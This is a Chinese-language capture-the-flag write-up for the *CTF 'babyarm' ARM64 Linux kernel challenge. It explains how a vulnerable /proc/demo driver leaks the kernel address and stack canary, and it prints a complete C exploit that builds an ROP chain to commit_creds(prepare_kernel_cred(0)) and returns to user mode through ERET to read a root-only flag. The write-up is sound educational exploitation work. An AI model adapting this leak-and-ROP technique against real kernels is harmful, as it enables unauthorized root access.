*CTF babyarm內核題目分析
本文從漏洞分析、ARM64架構漏洞利用方式來討論如何構造提權PoC達到讀取root權限的文件。此題是一個ARM64架構的Linux 5.17.2 版本內核提權題目,目的是讀取root用戶的flag文件。
概況
題目默認開啟了KASLR地址隨機化和PXN防護,指定CPU核心數量為一,線程為一。
使用cpio
命令分離出驅動模塊後放到IDA查看,只實現了read
和write
函數的功能,功能相當簡單。read
函數把內核棧內容拷貝到全局變量demo_buf
,然後再把demo_buf
的內容拷貝到用戶態緩衝區,長度不超過0x1000。其他不重要的信息可以不用看:
write
函數把用戶態緩衝區內容拷貝到demo_buf
,然後將demo_buf
內容拷貝到內核棧中,同樣長度不超過0x1000:
利用思路
知道模塊的基本功能之後,現在來考慮利用方式。
- 首先,題目啟動腳本中沒有給定
nokaslr
,默認開啟地址隨機化,需要泄露內核地址,當然還有canary。並且ARM架構下默認開啟了PXN,內核無法直接執行用戶態代碼,需要使用ROP技術。 - 上一步泄露完成之後,可以獲得kernel中的gadget地址,以此來構造ROP,執行
commit_creds(prepare_kernel_cred(0))
提升進程權限,返回用戶態,並fork
一個新的shell,就可以繼承父進程的權限完成提權
編寫PoC
第一步的泄露很簡單,直接使用read
函數功能就可以達到目的,代碼如下:
int fd = open("/proc/demo",2);
size_t leak[0x200] = {0};
read(fd, leak, 0x1f8);
for (int i = 0; i < 100; i++)
{
printf("id %d : 0x%llx\n",i,leak[i]);
}
這裡編譯的時候需要使用交叉編譯為ARM64的程序。交叉編譯環境的安裝方式很簡單:
sudo apt-get install emdebian-archive-keyring
sudo apt-get install linux-libc-dev-arm64-cross libc6-arm64-cross
sudo apt-get install binutils-aarch64-linux-gnu gcc-8-aarch64-linux-gnu
sudo apt-get install g++-8-aarch64-linux-gnu
編譯exp:
aarch64-linux-gnu-gcc-8 -static exp.c -o exp
重新打包後運行exp,根據泄露的結果得知第3個值是內核代碼地址,第13個值是canary
用ARM64的基礎加載地址 0xffff800008000000 算出內核基址、commit_creds
和prepare_kernel_cred
的地址:
size_t commit_creds, prepare_kernel_cred = 0;
size_t kernel_base,offset = 0;
size_t kernel_addr = leak[2];
size_t canary = leak[12];
offset = kernel_addr - 0xffff8000082376f8;
kernel_base = 0xffff800008000000 + offset;
commit_creds = kernel_base + 0xa2258;
prepare_kernel_cred = kernel_base + 0xa24f8;
接下來要考慮如何構造ROP鏈,如何返回用戶態。
這裡先了解一下ARM64彙編指令和x86_64指令的區別:
- x86_64指令六個參數為RDI、RSI、RDX、RCX、R8、R9,函數結束時使用
LEAVE
和RET
平衡棧,返回值放在RAX寄存器中,RET
指令會使RSP+8 - ARM64有X0~X30這些寄存器,參數一為X0寄存器,返回值同樣使用X0寄存器,棧指針為SP寄存器,PC寄存器存儲當前指令,使用
LDP X29, X30, [SP]
這種方式給X29和X30寄存器賦值,當RET
指令時將X30寄存器值給PC寄存器,但RET
指令不會使SP+8,也就是說ARM64不會像X86那樣頻繁移動棧頂
根據以上結論,我們需要控制ARM64的執行流,就需要控制X30寄存器,並給參數寄存器X0賦值。而現在內核棧是我們可控的,那麼理論上就可以控制PC指針。
首先調用prepare_kernel_cred(0)
,參數為0,需要將X0賦值為0,ROPgadget工具不是很好用,直接手動找,在內核文件中找到如下gadget:
這一部分控制了很多寄存器,可以極大的方便我們後續操作。通過調試偏移寫出payload如下:
size_t gadget2 = kernel_base + 0x16950;
leak[13] = 0x4141414141414141;
leak[14] = 0x4141414141414141;
leak[16] = canary;
leak[18] = gadget2;
leak[21] = 0x8888888888888888;
leak[22] = prepare_kernel_cred;
調試的時候發現一個問題,因為ARM64的RET
指令並不會使用棧中的數據作為返回地址,而是使用X30寄存器的值,在prepare_kernel_cred
函數結束後,由於X30寄存器還是之前的值,又再次執行了prepare_kernel_cred
,這顯然不是想要的結果。這裡先看看ARM程序是怎麼開闢棧幀的:
這是在內核中隨便找的函數,不用考慮這個函數做了什麼,重點關注第一條指令和最後兩條指令,第一條指令將X29和X30寄存器放入到棧中,最後兩條指令平衡棧。如果去掉第一條指令,那麼在平衡棧的時候就會將我們構造的內容給X29和X30。這裡也看到ARM不像x86那樣可以通過加減地址來獲得不同的指令,ARM指令必須以四位元組對齊為一個指令。所以在執行prepare_kernel_cred
時應該地址加上四位元組,執行commit_creds
函數也是同理。調試修改上面的payload為如下:
leak[13] = 0x4141414141414141;
leak[14] = 0x4141414141414141;
leak[16] = canary;
leak[18] = gadget2;
leak[19] = 0;
leak[20] = 0;
leak[21] = 0x8888888888888888;
leak[22] = prepare_kernel_cred + 4;
leak[32] = commit_creds + 4;
leak[36] = gadget2;
leak[37] = 0x7777777777777777;
leak[38] = canary;
leak[39] = 0x2222222222222222;
leak[40] = 0x3333333333333333;
執行完commit_creds(prepare_kernel_cred(0))
後,當前exp進程的cred
結構體已經是root,但內核棧已經被我們破壞掉了,繼續執行會導致內核崩潰重啟,此時需要手動返回用戶態起shell。
需要知道的是ARM64使用SVC
指令進入內核態,使用ERET
指令返回用戶態,同x86一樣,ARM在進入內核態之前會保存用戶態所有寄存器狀態,在返回時恢復。其中比較重要的寄存器有SP_EL0、ELR_EL1、SPSR_EL1,它們保存內容分別如下:
- SP_EL0保存用戶態的棧指針
- ELR_EL1保存要返回的用戶態PC指針
- SPSR_EL1保存一個值,暫不知道是何用處,但他的值是固定的0x80001000
我們手動恢復這幾個寄存器,然後在調用ERET時就可以返回用戶態執行函數了。而要找到恢復這些寄存器的gadget可以直接在調試器中單步跟隨,找到內核何時返回用戶態,然後直接使用這些gadget就行。內容如下:
0xffff800008011fe4: msr sp_el0, x23
0xffff800008011fe8: tst x22, #0x10
0xffff800008011fec: b.eq 0xffff800008011ff4 // b.none
0xffff800008011ff0: nop
0xffff800008011ff4: ldr x0, [x28, #3432]
0xffff800008011ff8: b 0xffff800008012024
0xffff800008012024: msr elr_el1, x21
0xffff800008012028: msr spsr_el1, x22
0xffff80000801202c: ldp x0, x1, [sp]
0xffff800008012030: ldp x2, x3, [sp, #16]
0xffff800008012034: ldp x4, x5, [sp, #32]
0xffff800008012038: ldp x6, x7, [sp, #48]
0xffff80000801203c: ldp x8, x9, [sp, #64]
0xffff800008012040: ldp x10, x11, [sp, #80]
0xffff800008012044: ldp x12, x13, [sp, #96]
0xffff800008012048: ldp x14, x15, [sp, #112]
0xffff80000801204c: ldp x16, x17, [sp, #128]
0xffff800008012050: ldp x18, x19, [sp, #144]
0xffff800008012054: ldp x20, x21, [sp, #160]
0xffff800008012058: ldp x22, x23, [sp, #176]
0xffff80000801205c: ldp x24, x25, [sp, #192]
0xffff800008012060: ldp x26, x27, [sp, #208]
0xffff800008012064: ldp x28, x29, [sp, #224]
0xffff800008012068: nop
0xffff80000801206c: nop
0xffff800008012070: nop
觀察這兩段gadget,這些寄存器我們都可以控制,這就比較簡單了,直接拿過來用就可以了,並且在執行完這段gadget後,會自動執行ERET
指令,其實這段函數就是內核返回用戶態的代碼。指定上面三個關鍵寄存器的值,用戶態棧地址可以隨意指定一個,內核只做地址校驗,並不會觸發panic,ELR_EL1構造為用戶態代碼地址,最後修改payload如下:
leak[13] = 0x4141414141414141;
leak[14] = 0x4141414141414141;
leak[16] = canary;
leak[18] = gadget2;
leak[19] = 0;
leak[20] = 0;
leak[21] = 0x8888888888888888;
leak[22] = prepare_kernel_cred + 4;
leak[32] = commit_creds + 4;
leak[33] = 0x1111111111111111;
leak[36] = gadget2;
leak[37] = 0x7777777777777777;
leak[38] = canary;
leak[39] = 0x2222222222222222;
leak[40] = 0x3333333333333333;
leak[41] = (size_t)leak; // x29 far_el1=0x00ffffc150b790
leak[42] = kernel_base + 0x11fe4; // x30
leak[43] = 0x6666666666666666; // x19
leak[44] = 0x7777777777777777; // x20
leak[45] = (size_t)shell; // x21 elr_el1=0x41f518
leak[46] = 0x80001000; // x22 spsr_el1=0x80001000
leak[47] = (size_t)leak; // x23 sp_el0=0x00ffffc150b790
leak[48] = 0x2222222222222222; // x24
leak[49] = 0x3333333333333333; // x25
leak[51] = 0x4444444444444444;
完整PoC如下,最後執行system("/bin/sh")
時,在clone
系統調用時會失敗,原因可能是因為某個ARM寄存器未還原,觸發了缺頁機制,會分配一個新的頁,最後PC指針指向這個非法地址,無法獲取shell,所以改成了ORW的方式讀取flag:
#include <stdio.h>
#include <stdlib.h>
#include <linux/types.h>
#include <fcntl.h>
#include <string.h>
#include <sys/types.h>
#include <unistd.h>
#include <sys/wait.h>
size_t commit_creds, prepare_kernel_cred = 0; // 0xffff8000080a2258 0xffff8000080a24f8
size_t kernel_base,offset = 0; // 0xffff800008000000
size_t gadget2 = 0;
void shell(void)
{
// int uid = getuid();
// printf("uid == %d\n",uid);
// system("/bin/sh");
char buf[0x40] = {0};
int fd = open("/flag",0);
read(fd, buf, 0x40);
write(1, buf, 0x40);
}
int main()
{
int fd = open("/proc/demo",2);
if (fd < 0)
{
puts("open error");
exit(-1);
}
size_t leak[0x200] = {0};
read(fd, leak, 0x1f8);
for (int i = 0; i < 36; i++)
{
printf("id %d : 0x%llx\n",i,leak[i]);
}
size_t kernel_addr = leak[2];
size_t canary = leak[12];
printf("kerenl_addr== 0x%llx , canary == 0x%llx\n",kernel_addr,canary);
offset = kernel_addr - 0xffff8000082376f8;
kernel_base = 0xffff800008000000 + offset; //ffffd587d10a2258 0xffffd587d10a2258,
commit_creds = kernel_base + 0xa2258;
prepare_kernel_cred = kernel_base + 0xa24f8;
gadget2 = kernel_base + 0x16950;
printf("kerenl_base== 0x%llx ,commit_creds == 0x%llx, prepare_kernel_cred == 0x%llx\n",kernel_base,commit_creds,prepare_kernel_cred);
printf("%p\n",leak);
leak[13] = 0x4141414141414141;
leak[14] = 0x4141414141414141;
leak[16] = canary;
leak[18] = gadget2;
leak[19] = 0;
leak[20] = 0;
leak[21] = 0x8888888888888888;
leak[22] = prepare_kernel_cred + 4;
leak[32] = commit_creds + 4;
leak[33] = 0x1111111111111111;
leak[36] = gadget2;
leak[37] = 0x7777777777777777;
leak[38] = canary;
leak[39] = 0x2222222222222222;
leak[40] = 0x3333333333333333;
leak[41] = (size_t)leak; // x29 far_el1=0x00ffffc150b790
leak[42] = kernel_base + 0x11fe4; // x30
leak[43] = 0x6666666666666666; // x19
leak[44] = 0x7777777777777777; // x20
leak[45] = (size_t)shell; // x21 elr_el1=0x41f518
leak[46] = 0x80001000; // x22 spsr_el1=0x80001000
leak[47] = (size_t)leak; // x23 sp_el0=0x00ffffc150b790
leak[48] = 0x2222222222222222; // x24
leak[49] = 0x3333333333333333; // x25
leak[51] = 0x4444444444444444;
write(fd, leak, 0x200);
close(fd);
return 0;
};
完成讀取root權限的文件flag: